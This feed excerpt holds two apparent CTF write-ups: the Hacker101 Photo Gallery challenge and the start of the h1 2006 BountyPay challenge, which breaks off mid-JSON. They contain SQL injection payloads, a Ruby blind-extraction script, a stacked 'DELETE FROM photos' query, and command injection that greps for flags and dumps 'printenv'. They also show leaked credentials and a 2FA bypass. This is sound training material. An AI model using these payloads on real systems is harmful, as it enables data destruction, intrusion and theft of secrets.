      <link>https://dev.to/pirateducky/image-gallery-3m5b</link>
      <guid>https://dev.to/pirateducky/image-gallery-3m5b</guid>
      <description>&lt;p&gt;&lt;a href="https://i.giphy.com/media/xT5LMQoVbqqDOxqVXi/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/xT5LMQoVbqqDOxqVXi/giphy.gif" alt="gif" width="480" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These are my notes from the hacker101 CTF which is &lt;a href="https://www.hacker101.com/"&gt;here&lt;/a&gt;. Slightly edited but mostly raw notes&lt;/p&gt;

&lt;h1&gt;
  
  
  Challenge: Photo Gallery
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mjnSMS6z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/qg684ozl690xwjtyyggi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mjnSMS6z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/qg684ozl690xwjtyyggi.png" alt="Alt Text" width="880" height="46"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag0:&lt;/strong&gt; SQLi&lt;/p&gt;

&lt;p&gt;I had to craft a union that took in a wrong id and then executed a union where I passed down the path to main.py which is where everything happens.&lt;/p&gt;

&lt;p&gt;First we are given in the hints that this is a docker image, which is documented here:&lt;br&gt;
&lt;a href="https://github.com/tiangolo/uwsgi-nginx-flask-docker"&gt;https://github.com/tiangolo/uwsgi-nginx-flask-docker&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then by looking at the app, in order to grab the images from the server the following is used &lt;code&gt;fetch?id=1&lt;/code&gt;&lt;br&gt;
This is an indication that we should test for a SQLi, by using the hints we can see that this will require a UNION&lt;/p&gt;

&lt;p&gt;We have look at how the &lt;code&gt;UNION&lt;/code&gt; command works in SQL:&lt;br&gt;
UNION based attack: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns). (&lt;a href="https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql)%C2%A0"&gt;https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql) &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we think how would this query work? And start coming up with some theories&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// I think the query is performed like this
SELECT image_name FROM a_table WHERE id=number
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This query will return the file name and then this file name will be looked up and returned, so using a union we might be able to trick the DB into handing us some other files if we just give it a filename that is interesting - this is where that docker image comes in handy, we know there is a &lt;code&gt;main.py&lt;/code&gt; file and we also know the file structure - so here is my payload, I had to give it an id that didn’t exist so my UNION would work.&lt;br&gt;
&lt;br&gt;
 &lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/fetch?id=-1 UNION select '/../../main.py'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This handed me the file and the flag was a comment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag1:&lt;/strong&gt; SQLi + LIKE argument&lt;/p&gt;

&lt;p&gt;Had to figure out a way to get the filename from that hidden kitty - the filename turned out the be flag. I worked on the assumption that the file name was what was triggering a 500 server error.&lt;/p&gt;

&lt;p&gt;I wrote the following ruby script, it uses the &lt;code&gt;httparty&lt;/code&gt; library to make a request to the challenge instance, the function &lt;code&gt;check?&lt;/code&gt; creates the url by inserting the &lt;code&gt;str&lt;/code&gt; variable into the request, we can use the &lt;code&gt;LIKE&lt;/code&gt; SQL command to match the current str to the filename, if the filename contains the string inside the variable we should get a 500 server error, the &lt;code&gt;response.code == 500&lt;/code&gt; line will return true if the response code is 500 and false if it is anything else, which is what we want. The key here is knowing that the 500 error can be used to get the filename.&lt;/p&gt;

&lt;p&gt;I created the range of alphanumerical characters including capital letters using a range in ruby, then I initialized the payload variable which eventually would hold the complete payload. In this infinite while loop, I’m sure there is a better way of doing this, I tested each character in the range and passed it to the &lt;code&gt;check?&lt;/code&gt; function if it returned a 500 that character would get added to my payload string and then I would test for the next character including the previous successful one &lt;code&gt;payload+nextCharacter&lt;/code&gt;, if the character returned anything other than a 500 it would just get skipped, iterating through these characters until nothing more was being added to the string gave me the full filename - which turned out to be the flag&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="s1"&gt;'httparty'&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;HTTParty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"http://34.94.3.143/a5648e58cd/fetch?id=-1 UNION SELECT filename FROM photos WHERE filename LIKE '&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%' AND id=3"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="no"&gt;CHARSET&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'A'&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;'Z'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to_a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;'z'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to_a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'0'&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;'9'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to_a&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;

&lt;span class="kp"&gt;loop&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  &lt;span class="no"&gt;CHARSET&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"Trying: &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; for &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
    &lt;span class="k"&gt;next&lt;/span&gt; &lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="n"&gt;check?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
    &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
    &lt;span class="k"&gt;break&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag2:&lt;/strong&gt; SQLi, Stacked queries&lt;/p&gt;

&lt;p&gt;Assumption:&lt;br&gt;
We have to update some document, and we also need to make sure we used stacked queries, and use the &lt;code&gt;commit&lt;/code&gt; command to  apply the changes, there is something weird about that subprocess call - it runs commands on the computer which is never a good thing - also the way is written I think I can end the quote and add my payload there by creating an album with a weird name.&lt;/p&gt;

&lt;p&gt;Got to delete all images using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://35.190.155.168:5001/8ab77dbb88/fetch?id=1;%20DELETE%20%20FROM%20photos;%20commit;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using the ;DELETE FROM photos; commit; query I was able delete all images from the photos table&lt;br&gt;
I think the vulnerability in the way the size of the albums gets calculated is here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rep += '&amp;lt;i&amp;gt;Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '&amp;lt;/i&amp;gt;'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After deleting all the images my method won’t work to update them though, should be thinking about how can I create a new album.&lt;/p&gt;

&lt;p&gt;Current payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/fetch?id=1; INSERT INTO photos (title, filename) VALUES ('; ls')', 'cat.png'); commit;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not working: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; I get a 404 because it tries to find that id&lt;/li&gt;
&lt;li&gt;The payload is not correct, I think that I can close that subprocess function by inserting a title containing the ‘;’ + the os command I want to run and closing the ‘’)’ - I think this should execute the command I want and send the result back&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Questions: Since I deleted everything in the table how can I insert a new one - or should I just restart with all the images and update one of them?&lt;/p&gt;

&lt;p&gt;Here is the payload that worked after changing the name of the &lt;code&gt;id=3&lt;/code&gt; image which contained FLAG1 - I deleted the other images and only worked with the image with &lt;code&gt;id=3&lt;/code&gt; but it could have been any image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fetch?id=1; UPDATE photos SET filename="; grep -r FLAG ." WHERE id=3; commit;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However right now I can’t seem to find the flag that I need, also this was truncating my results because of this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strip().rsplit('\n', 1)[-1]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This looks promising - this was nothing lol&lt;br&gt;
&lt;br&gt;
 &lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fetch?id=1; UPDATE photos SET filename=";grep -rl 'FLAG' /var" WHERE id=3; commit;
Got this file
/var/lib/mysql/level5/photos.ibd

fetch?id=3; UPDATE photos SET filename=";echo $(grep -r 'FLAG' /../) " WHERE id=3; commit;
// al the files inside the /app directory
Space used: Dockerfile files main.py main.pyc prestart.sh requirements.txt uwsgi.ini

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Still need to find this flag but I have RCE on the server so eventually I will find it - just need to figure out where it is&lt;/p&gt;

&lt;p&gt;Haha @ 7:50 on 3/13/2019:&lt;br&gt;
I got around the truncated answers by using echo to print the results of the command I ran. &lt;/p&gt;

&lt;p&gt;This is the payload that worked.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fetch?id=3; UPDATE photos SET filename=";echo $(printenv)" WHERE id=3; commit;
// payload worked - all 3 flags in printenv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;// end &lt;/p&gt;

</description>
      <category>ctf</category>
      <category>hacking</category>
    </item>
    <item>
      <title>h1 2006 ctf</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Thu, 11 Jun 2020 18:03:32 +0000</pubDate>
      <link>https://dev.to/pirateducky/h1-2006-ctf-9a8</link>
      <guid>https://dev.to/pirateducky/h1-2006-ctf-9a8</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JbvhQ6h3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ls81cezl7w94ub6o3t9y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JbvhQ6h3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/ls81cezl7w94ub6o3t9y.png" alt="Alt Text" width="602" height="639"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As before the CTF started with a tweet from the H1 account - CEO @martenmickos needs to approve the May bug bounty payments but he lost his credentials for BountyPay - I might be able to help.&lt;/p&gt;




&lt;h3&gt;
  
  
  summary
&lt;/h3&gt;

&lt;p&gt;I was able to retrieve the CEO's account &amp;amp; pay the hackers by using a chain of exploits:&lt;/p&gt;

&lt;p&gt;information disclosure(github repo) → account takeover(brian.oliver) + 2FA bypass -&amp;gt; ssrf to download private apk → token leaked in apk → account takeover(sandra.allison) + privilege escalation(csrf) → account takeover(marten.mickos) + 2FA bypass&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;password:&lt;/strong&gt; h&amp;amp;H5wy2Lggj*kKn4OD&amp;amp;Ype&lt;/p&gt;

&lt;h3&gt;
  
  
  details
&lt;/h3&gt;

&lt;p&gt;There's a H1 page for the program so let's check out the scope&lt;/p&gt;

&lt;p&gt;&lt;code&gt;scope: *.bountypay.h1ctf.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That's a wide scope - the best thing to do is to start with some subdomain enumeration, let's see what else is under that &lt;code&gt;bountypay&lt;/code&gt; subdomain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://api.bountypay.h1ctf.com/"&gt;api.bountypay.h1ctf.com&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;requires a token&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/redirect?url=&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.bountypay.h1ctf.com/"&gt;&lt;/a&gt;&lt;a href="http://www.bountypay.h1ctf.com"&gt;www.bountypay.h1ctf.com&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;sign-in portal&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://software.bountypay.h1ctf.com/"&gt;software.bountypay.h1ctf.com&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;apk is hosted here&lt;/li&gt;
&lt;li&gt;only accessible from known IP&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://staff.bountypay.h1ctf.com/"&gt;staff.bountypay.h1ctf.com&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;staff portal&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://app.bountypay.h1ctf.com/"&gt;app.bountypay.h1ctf.com&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;customer portal&lt;/li&gt;
&lt;li&gt;2 Factor Auth. is enabled&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  foothold
&lt;/h3&gt;

&lt;p&gt;After going through the subdomains and doing some directory bruteforcing - there was a &lt;code&gt;403&lt;/code&gt; error that looked promising: &lt;code&gt;app.bountypay.h1ctf.com/.git/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you hit &lt;code&gt;http://app.bountypay.h1ctf.com/.git/HEAD&lt;/code&gt; you can download the &lt;code&gt;HEAD&lt;/code&gt; file - now we just need to get something with more information for us, let's try &lt;a href="https://app.bountypay.h1ctf.com/.git/config"&gt;&lt;code&gt;https://app.bountypay.h1ctf.com/.git/config&lt;/code&gt;&lt;/a&gt; This discloses some information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;core]
    repositoryformatversion &lt;span class="o"&gt;=&lt;/span&gt; 0
    filemode &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true
    &lt;/span&gt;bare &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false
    &lt;/span&gt;logallrefupdates &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;remote &lt;span class="s2"&gt;"origin"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
    url &lt;span class="o"&gt;=&lt;/span&gt; https://github.com/bounty-pay-code/request-logger.git
    fetch &lt;span class="o"&gt;=&lt;/span&gt; +refs/heads/&lt;span class="k"&gt;*&lt;/span&gt;:refs/remotes/origin/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;branch &lt;span class="s2"&gt;"master"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
    remote &lt;span class="o"&gt;=&lt;/span&gt; origin
    merge &lt;span class="o"&gt;=&lt;/span&gt; refs/heads/master
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This config file discloses a &lt;a href="https://github.com/bounty-pay-code/request-logger.git"&gt;github&lt;/a&gt; repository with some interesting information&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="s1"&gt;'IP'&lt;/span&gt;        &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"REMOTE_ADDR"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;'URI'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"REQUEST_URI"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;'METHOD'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"REQUEST_METHOD"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="s1"&gt;'PARAMS'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="s1"&gt;'GET'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="s1"&gt;'POST'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;  &lt;span class="nv"&gt;$_POST&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nb"&gt;file_put_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'bp_web_trace.log'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"U"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;base64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;FILE_APPEND&lt;/span&gt;   &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few things to note here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application uses PHP&lt;/li&gt;
&lt;li&gt;Writes to a log file that we can access from &lt;a href="https://app.bountypay.h1ctf.com/bp_web_trace.log"&gt;&lt;code&gt;https://app.bountypay.h1ctf.com/bp_web_trace.log&lt;/code&gt;&lt;/a&gt; in it we can see the following:

&lt;ul&gt;
&lt;li&gt;The values are encoded using &lt;code&gt;base64&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;"username":"brian.oliver",&lt;/li&gt;
&lt;li&gt;"password":"V7h0inzX",&lt;/li&gt;
&lt;li&gt;"challenge_answer":"bD83Jk27dQ"&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  app.bountypay.h1ctf.com
&lt;/h3&gt;

&lt;p&gt;Using the &lt;code&gt;username/password&lt;/code&gt; works and we can now log into &lt;code&gt;[app.bountypay.h1ctf.com](http://app.bountypay.h1ctf.com)&lt;/code&gt; however...there's &lt;code&gt;2 Factor Auth&lt;/code&gt; we'll need to bypass it.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Bm30i7XN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/a5wgvyhxzhhsxpsusa62.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Bm30i7XN--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/a5wgvyhxzhhsxpsusa62.png" alt="Alt Text" width="880" height="529"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- relevant html from above--&amp;gt;&lt;/span&gt;
...
&lt;span class="c"&gt;&amp;lt;!-- user's name --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"brian.oliver"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- user's password --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"V7h0inzX"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- MD5 hash of the 10 char passcode sent to the user for verification --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"challenge"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"103fa83db8f4be6c61dee66f95e2bca0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can assume the application will send a verification code but how can we grab it? &lt;/p&gt;

&lt;p&gt;I had not noticed but the &lt;code&gt;challenge&lt;/code&gt; value is 32 chars - after some time I realized &lt;code&gt;MD5&lt;/code&gt; hashes have 32 chars, if we replace the &lt;code&gt;challenge&lt;/code&gt; value for the &lt;code&gt;MD5&lt;/code&gt; hash of the &lt;code&gt;challenge_answer&lt;/code&gt; we found in the logs(bD83Jk27dQ) we can use this old token to gain access to the account. With this we can log into &lt;a href="http://app.bountypay.h1ctf.com"&gt;app.bountypay.h1ctf.com&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  app.bountypay.h1ctf.com
&lt;/h3&gt;

&lt;p&gt;The user &lt;code&gt;brian.oliver&lt;/code&gt; has access to this application, however there wasn't much else so I started looking at &lt;code&gt;api&lt;/code&gt; calls - I noticed the &lt;code&gt;/statements?month=04&amp;amp;year=2020&lt;/code&gt; request which was in the log file from before, and this is what it returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https:&lt;/span&gt;&lt;span class="se"&gt;\/\/&lt;/span&gt;&lt;span class="s2"&gt;api.bountypay.h1ctf.com&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;api&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;accounts&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;F8gHiqSdpK&lt;/span&gt;&lt;span class="se"&gt;\/&lt;/span&gt;&lt;span class="s2"&gt;statements?month=01&amp;amp;year=2020"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
